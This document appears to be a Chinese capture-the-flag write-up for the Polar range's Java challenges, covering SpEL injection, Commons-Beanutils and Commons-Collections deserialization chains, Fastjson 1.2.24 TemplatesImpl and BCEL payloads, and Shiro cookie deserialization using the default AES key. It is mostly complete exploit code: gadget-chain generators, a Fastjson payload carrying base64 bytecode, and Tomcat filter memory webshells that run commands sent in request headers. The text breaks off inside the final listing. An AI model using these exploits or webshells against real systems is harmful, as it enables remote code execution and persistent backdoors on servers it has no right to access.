Skip to content

Polar靶场-Java

ezjava

img

spel表达式注入

payload

1
ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("/bin/bash", "-c", "cat /app/flag.txt").start().getInputStream(), "gbk")).readLine()

img

CB链

1
2
3
4
5
6
7
8
@RequestMapping({"/user"})
@ResponseBody
public String getUser(String user) throws Exception {
byte[] userBytes = Tools.base64Decode(user);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(userBytes));
User userObj = (User) in.readObject();
return userObj.getUserNicename();
}

/user路由存在反序列化

依赖是cb1.9.2 cc3.2.1

image-20250710092013755

正常的话打CB链应该是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.PriorityQueue;

public class CB1Exp {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E://Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_name","calc");
setFieldValue(templates,"_bytecodes",new byte[][]{code});
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// templates.getOutputProperties();
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,beanComparator);
queue.add(1);
queue.add(1);
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,templates});

serialize(queue);
// unserialize("serb.bin");

}
public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serb.bin"));
// oos.writeObject(obj);
// }
public static void serialize(Object obj) throws Exception{
ByteArrayOutputStream data=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

但是复现的环境不出网,所以只能打内存马

先写一个类加载器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.util.Base64;

public class MyClassLoader extends AbstractTranslet {
static{
try{
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response =((org.apache.catalina.connector.Request) r.get(request)).getResponse();
javax.servlet.http.HttpSession session = request.getSession();
String classData=request.getParameter("classData");
System.out.println("classData:"+classData);
byte[] classBytes = Base64.getDecoder().decode(classData);
java.lang.reflect.Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass",new Class[]{byte[].class, int.class, int.class});
defineClassMethod.setAccessible(true);
Class cc = (Class) defineClassMethod.invoke(MyClassLoader.class.getClassLoader(), classBytes, 0,classBytes.length);
cc.newInstance().equals(new Object[]{request,response,session});
}catch(Exception e){
e.printStackTrace();
}
}
public void transform(DOM arg0, SerializationHandler[] arg1) throws TransletException {
}
public void transform(DOM arg0, DTMAxisIterator arg1, SerializationHandler arg2) throws TransletException {

}
}

再写一个恶意类,将命令执行回显到response的header中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.stream.Collectors;

public class Memshell implements javax.servlet.Filter{
private javax.servlet.http.HttpServletRequest request = null;
private org.apache.catalina.connector.Response response = null;
private javax.servlet.http.HttpSession session =null;

@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
public void destroy() {}
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain filterChain) throws IOException, ServletException {
javax.servlet.http.HttpServletRequest request = (javax.servlet.http.HttpServletRequest)request1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.http.HttpServletResponse)response1;
javax.servlet.http.HttpSession session = request.getSession();
String cmd = request.getHeader("cmd"); //header cmd
System.out.println(cmd);
if (cmd != null) {

response.setHeader("START", "OK");
// 使用 ProcessBuilder 执行命令
Process process = new ProcessBuilder(cmd.split("\\s+"))
.redirectErrorStream(true)
.start();

// 获取命令执行的输入流
InputStream inputStream = process.getInputStream();

// 使用 Java 8 Stream 将输入流转换为字符串
String result = new BufferedReader(new InputStreamReader(inputStream))
.lines()
.collect(Collectors.joining(System.lineSeparator()));
System.out.println("3");
response.setHeader("RESULT",result);

} else {
filterChain.doFilter(request, response);
}
}

public boolean equals(Object obj) {
Object[] context=(Object[]) obj;
this.session = (javax.servlet.http.HttpSession ) context[2];
this.response = (org.apache.catalina.connector.Response) context[1];
this.request = (javax.servlet.http.HttpServletRequest) context[0];

try {
dynamicAddFilter(new Memshell(),"Shell","/*",request);
} catch (IllegalAccessException e) {
e.printStackTrace();
}

return true;
}

public static void dynamicAddFilter(javax.servlet.Filter filter,String name,String url,javax.servlet.http.HttpServletRequest request) throws IllegalAccessException {
javax.servlet.ServletContext servletContext=request.getServletContext();
if (servletContext.getFilterRegistration(name) == null) {
java.lang.reflect.Field contextField = null;
org.apache.catalina.core.ApplicationContext applicationContext =null;
org.apache.catalina.core.StandardContext standardContext=null;
java.lang.reflect.Field stateField=null;
javax.servlet.FilterRegistration.Dynamic filterRegistration =null;

try {
contextField=servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(servletContext);
contextField=applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext= (org.apache.catalina.core.StandardContext) contextField.get(applicationContext);
stateField=org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(name, filter);
filterRegistration.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,new String[]{url});
java.lang.reflect.Method filterStartMethod = org.apache.catalina.core.StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}catch (Exception e){
}finally {
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}
}
}
}

读取并base64输出内存马的内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class Test {
public static void main(String[] args) throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("D:\\Project\\JavaSec\\CB1\\target\\classes\\CB\\Memshell.class"));
String classData = Base64.getEncoder().encodeToString(bytes);
System.out.println(classData);

}

}

通过CB链加载MyClassLoader,然后classData就是我们的内存马

image-20250710113012206

Fastjson

fastjson1.2.24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class JsonController {
@RequestMapping(value = {"/"}, method = {RequestMethod.GET}, produces = {"application/json;charset=UTF-8"})
@ResponseBody
public Object getUser() {
User user = new User();
user.setName("Polar D&N ~!");
user.setId("2022");
return user;
}

@RequestMapping(value = {"/"}, method = {RequestMethod.POST}, produces = {"application/json;charset=UTF-8"})
@ResponseBody
public Object setUser(@RequestBody String jsonString) {
System.out.println(jsonString);
JSONObject jsonObject = JSON.parseObject(jsonString, Feature.SupportNonPublicField);
User user = (User) jsonObject.toJavaObject(User.class);
user.setId("2023");
return user;
}
}

拿payload直接打,不出网打TemplatesImpl内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class MemShe extends AbstractTranslet {
public MemShe() {
try {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = new String[]{"bash", "-c", httprequest.getHeader("cmd")};
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\\A").next().getBytes();
httpresponse.getWriter().write(new String(result));
httpresponse.getWriter().flush();
httpresponse.getWriter().close();
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws
TransletException {
}

@Override
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {
}
}

payload

1
2
3
4
5
6
7
{	
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vgAAADQAhgoAHQBDCgBEAEUHAEYKAAMARwoAAwBIBwBJCABKCABLCAApCwBMAE0HAE4HAE8KAAwAUAoADABRCgBSAFMKAAsAVAgAVQoACwBWCgALAFcKAAYAWAsAWQBaCgAGAFsKAFwAXQoAXABeCgBcAF8HAGAKABoAYQcAYgcAYwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBABFyZXF1ZXN0QXR0cmlidXRlcwEAO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXM7AQALaHR0cHJlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAxodHRwcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQADY21kAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEABnJlc3VsdAEAAltCAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEABHRoaXMBAAtMQ0IvTWVtU2hlOwEADVN0YWNrTWFwVGFibGUHAGIHAGABAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAZAEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAC01lbVNoZS5qYXZhDAAeAB8HAGUMAGYAZwEAQG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9TZXJ2bGV0UmVxdWVzdEF0dHJpYnV0ZXMMAGgAaQwAagBrAQAQamF2YS9sYW5nL1N0cmluZwEABGJhc2gBAAItYwcAbAwAbQBuAQARamF2YS91dGlsL1NjYW5uZXIBABhqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXIMAB4AbwwAcABxBwByDABzAHQMAB4AdQEAAlxBDAB2AHcMAHgAeQwAegB7BwB8DAB9AH4MAB4AfwcAgAwAgQCCDACDAB8MAIQAHwEAE2phdmEvaW8vSU9FeGNlcHRpb24MAIUAHwEACUNCL01lbVNoZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BADxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdENvbnRleHRIb2xkZXIBABRnZXRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBAApnZXRSZXF1ZXN0AQApKClMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAKigpTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAlnZXRIZWFkZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEACGdldEJ5dGVzAQAEKClbQgEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBAAUoW0IpVgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBAAV3cml0ZQEAFShMamF2YS9sYW5nL1N0cmluZzspVgEABWZsdXNoAQAFY2xvc2UBAA9wcmludFN0YWNrVHJhY2UAIQAcAB0AAAAAAAMAAQAeAB8AAQAgAAABNwAFAAYAAACDKrcAAbgAAkwrwAADtgAETSvAAAO2AAVOBr0ABlkDEgdTWQQSCFNZBSwSCbkACgIAUzoEuwALWbsADFkZBLcADbYADrYAD7cAEBIRtgAStgATtgAUOgUtuQAVAQC7AAZZGQW3ABa2ABctuQAVAQC2ABgtuQAVAQC2ABmnAAhMK7YAG7EAAQAEAHoAfQAaAAMAIQAAADYADQAAAAwABAAOAAgADwAQABAAGAARADMAEgBWABMAaAAUAHEAFQB6ABgAfQAWAH4AFwCCABkAIgAAAEgABwAIAHIAIwAkAAEAEABqACUAJgACABgAYgAnACgAAwAzAEcAKQAqAAQAVgAkACsALAAFAH4ABAAtAC4AAQAAAIMALwAwAAAAMQAAABAAAv8AfQABBwAyAAEHADMEAAEANAA1AAIAIAAAAD8AAAADAAAAAbEAAAACACEAAAAGAAEAAAAeACIAAAAgAAMAAAABAC8AMAAAAAAAAQA2ADcAAQAAAAEAOAA5AAIAOgAAAAQAAQA7AAEANAA8AAIAIAAAAEkAAAAEAAAAAbEAAAACACEAAAAGAAEAAAAjACIAAAAqAAQAAAABAC8AMAAAAAAAAQA2ADcAAQAAAAEAPQA+AAIAAAABAD8AQAADADoAAAAEAAEAOwABAEEAAAACAEI="],
"_name":"p0l1st",
"_tfactory":{},
"_outputProperties":{}
}

image-20250710122150278

CC链

CC3.1依赖,/read存在反序列化

image-20250710124220874

打CC3+内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.Base64;


public class CC3 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field nameField = templatesClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"p0l1st");

Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\Project\\JavaSec\\test\\target\\classes\\cn\\p0l1st\\MyClassLoader.class"));
byte[][] codes = {evil};
bytecodesField.set(templates,codes);

Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
// templates.newTransformer();

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class), // 构造 setValue 的可控参数
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer("five")); // 防止在反序列化前弹计算器
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "key");
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "value");
lazyMap.remove("key");

// 在 put 之后通过反射修改值
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap, chainedTransformer);

serialize(expMap);
// unserialize("ser.bin");
}
// public static void serialize(Object obj) throws IOException {
// ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
// oos.writeObject(obj);
// }
public static void serialize(Object obj) throws Exception{
ByteArrayOutputStream data=new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(data);
oos.writeObject(obj);
oos.flush();
oos.close();
System.out.println(Base64.getEncoder().encodeToString(data.toByteArray()));
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

image-20250710140333779

FastJsonBCEL

JSONController

1
2
3
4
5
@PostMapping({"/parse"})
public Object parseJson(@RequestBody String jsonString) {
return JSONObject.parse(jsonString);
}

fastjson1.2.24,存在tomcat-dbcp依赖

题目环境不出网,通过BCEL回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package cn.p0l1st;

import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringEcho {
static {
try {
Class v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method v1 = v0.getMethod("getRequestAttributes");
Object v2 = v1.invoke(null);
v0 = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
v1 = v0.getMethod("getResponse");
Method v3 = v0.getMethod("getRequest");
Object v4 = v1.invoke(v2);
Object v5 = v3.invoke(v2);
Method v6 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method v7 = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
v7.setAccessible(true);
v6.setAccessible(true);
Object v8 = v6.invoke(v4);
String v9 = (String) v7.invoke(v5,"cmd");
String[] v10 = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")){
v10[0] = "cmd";
v10[1] = "/c";
}else {
v10[0] = "/bin/sh";
v10[1] = "-c";
}
v10[2] = v9;
v8.getClass().getDeclaredMethod("println",String.class).invoke(v8,(new Scanner(Runtime.getRuntime().exec(v10).getInputStream())).useDelimiter("\\A").next());
v8.getClass().getDeclaredMethod("flush").invoke(v8);
v8.getClass().getDeclaredMethod("clone").invoke(v8);
} catch (Exception var11) {
var11.getStackTrace();
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import java.io.IOException;

public class FastjsonBCEL {
public static void main(String[] args) throws IOException, ClassNotFoundException, InstantiationException, IllegalAccessException {
JavaClass javaClass = Repository.lookupClass(SpringEcho.class);
String code = Utility.encode(javaClass.getBytes(), true);
//Class.forName("$$BCEL$$"+code,true,new ClassLoader());
System.out.println(code);
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();

}

因为是用parse,payload

1
2
3
4
5
6
7
8
9
10
11
12
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$"
}
}: "x"
}

image-20250718202328089

PolarOA

存在Shiro反序列化

image-20250718203643481

但是爆破不出利用链

image-20250718203939851

这里对cookie的长度做了限制,需要小于3500个字符

打无CC链的CB链就行,通过DynamicClassGenerator生成恶意内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;

import java.io.IOException;

public class DynamicClassGenerator {
public CtClass genPayloadForWin() throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");

if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
" try {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
"\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\", te);\n" +
" String tc = httprequest.getHeader(\"CMD\");\n" +
" if (tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"cmd.exe\", \"/c\", tc}; \n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
"\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" } catch (Exception e) {\n" +
" e.getStackTrace();\n" +
" }\n" +
" }", clazz));

// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
public CtClass genPayloadForLinux() throws NotFoundException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("Exp");

if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
}
clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
" try {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
"\n" +
" String te = httprequest.getHeader(\"Host\");\n" +
" httpresponse.addHeader(\"Host\", te);\n" +
" String tc = httprequest.getHeader(\"CMD\");\n" +
" if (tc != null && !tc.isEmpty()) {\n" +
" String[] cmd = new String[]{\"/bin/sh\", \"-c\", tc};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
"\n" +
" }\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" } catch (Exception e) {\n" +
" e.getStackTrace();\n" +
" }\n" +
" }", clazz));
// 兼容低版本jdk
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
import org.apache.shiro.codec.Base64;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.codec.CodecSupport;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class test {
public static void main(String[] args) throws Exception {
DynamicClassGenerator classGenerator =new DynamicClassGenerator();
CtClass clz = classGenerator.genPayloadForLinux();
TemplatesImpl templates = (TemplatesImpl) getTemplates(clz.toBytecode());

//shiro无依赖利用链,使用shiro1.2.4自带的cb 1.8.3
BeanComparator Beancomparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, Beancomparator);
queue.add(1);
queue.add(2);

setValue(Beancomparator,"property","outputProperties");
setValue(queue,"queue",new Object[]{templates,templates});
setValue(Beancomparator, "comparator", String.CASE_INSENSITIVE_ORDER);

//序列化
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(queue);

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
byte[] bytes = byteArrayOutputStream.toByteArray();

ByteSource ciphertext;
ciphertext = aes.encrypt(bytes, key);
System.out.println(ciphertext);
}


public static Object getTemplates(byte[] bytes) throws Exception {
Templates templates = new TemplatesImpl();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "p0l1st");
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}

